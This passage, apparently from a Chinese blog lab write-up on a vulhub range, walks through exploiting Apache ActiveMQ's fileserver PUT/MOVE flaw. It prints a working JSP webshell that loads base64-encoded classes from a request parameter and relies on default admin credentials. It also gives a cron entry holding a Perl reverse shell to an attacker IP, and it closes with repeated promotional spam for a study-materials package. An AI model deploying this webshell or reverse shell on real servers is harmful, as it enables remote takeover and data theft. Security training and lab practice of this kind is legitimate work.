http://your-ip:8161/admin/test/systemProperties.jsp
页面获取,不过该页面需要登录才能访问。
2、需要能登录 admin 或者 api
获取用户名和密码,可以通过弱口令、暴力破解、社工等方法
这里默认的登录账号密码都是
admin
2)抓包上传webshell
需要把 webshell 上传到 fileserver,然后才能从 fileserver 转移。因为 ActiveMQ 是个 java 程序,因此需要传个 jsp webshell
下面是刚抓到包后的样子
下面是jsp webshell的代码
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
接下来对数据包进行修改
将get 变为post然后再上传jsp webshell
然后在上面基础上继续修改该包,把 PUT 改成 MOVE ,然后在下一行添加
Destination: file:///opt/activemq/webapps/admin/1.jsp
接下来就可以使用蚁剑进行连接了
注意还需要添加请求头
页面段查看请求头
重点是记住 admin 应用是需要登录的,所以记得一定要在连接中****添加 Authorization 头。
蚁剑添加http请求头
可以查看etc/passwd
方法二:写入 cron 拿反弹 shell
1)条件收集
**1、**需要运行 ActiveMQ 的用户有 root 权限
**2、**服务器开启了 cron 服务
docker container ps //查看容器id
容器id: 6261b17bd033
docker exec -it 容器id /bin/bash
当你运行 docker exec -it 容器id /bin/bash 时,你实际上是在告诉 Docker:“我要在指定的容器内启动一个交互式的 Bash shell
docker exec -it 6261b17bd033 /bin/bash
**3、**运行 ActiveMQ 的用户有使用 crontab 的权限
第三点条件默认情况是满足的,除非存在 cron.allow 或者 cron.deny 文件,但这两个文件在 vulhub 提供的漏洞环境中不存在。
cron知识简述
**1、**cron 是 Linux 系统的守护进程,用于在特定时间自动执行重复任务。
**2、**标准 shell 是攻击者作为客户端去连接目标服务器;反弹 shell 是攻击者作为服务器,监听某端口,而目标设备作为客户端主动连接攻击者
应用场景:
**①、**目标机在局域网内
**②、**目标机 ip 地址是动态的
**③、**有防火墙等限制,目标机只能发请求,不能收请求
**④、**不确定目标机何时具备连接条件
2)抓包上传webshell
1、上传 cron 文件到 fileserver
反弹 shell 内容:
注意添加攻击机的ip和想要监听的端口
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
2、把 cron 文件从 fileserver 移动到 /etc/cron.d/
这步忘记截图了,方法和法一的一样GET改换为MOVE
Destination: file:///opt/activemq/webapps/admin/cron1.txt
2、攻击机上开启监听并等待反弹 shell 连接
注意哦!!!操作完记得关闭靶场
关闭此靶场环境
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
893)]
[外链图片转存中…(img-CXhVjNo8-1715804580893)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!